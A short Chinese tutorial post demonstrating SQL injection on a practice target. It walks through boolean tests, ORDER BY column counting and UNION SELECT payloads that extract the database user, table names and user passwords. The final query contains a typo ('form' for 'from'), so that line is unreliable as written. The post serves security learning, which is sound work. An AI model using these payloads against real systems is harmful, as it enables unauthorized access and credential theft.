这里给大家演示一下SQL注入漏洞
首先普及一下SQL语句
SELECT first_name,last_name FROM user WHERE user_id = '$id';
其中$id就是用户需要输入的内容
SELECT first_name,last_name FROM user WHERE user_id = '1'and 1 = 1#';
这里我们使用1后面的'来结束前面的语句,使用#来结束后面的语句,防止报错
好了,我们在靶场测试一下看看!
测试成功,正常输出
SELECT first_name,last_name FROM user WHERE user_id = '1'and 1 = 2#';
当输入1'and 1 = 2#时,在原有查询完成后,查询1=2(错误),不输出,判断正确才输出!
尝试二次1=1正确输出和1=2错误输出,证明sql语句生效,存在sql注入漏洞!
利用SQL漏洞
判断列数:
SELECT first_name,last_name FROM user WHERE user_id = '1'order by 1#';
当输入'order by 2#时正常,输入'order by 3#时报错,即代表该数据库一共2列
联合查询其他信息:
SELECT first_name,last_name FROM user WHERE user_id = '1'union select user(),database()#';
user() 返回当前数据库用户名
database() 返回当前数据库名称
联合查询表:
SELECT first_name,last_name FROM user WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'root'#';
查询用户和密码:
SELECT first_name,last_name FROM user WHERE user_id = '1' union select user,password form users#';
学到了学到了学到了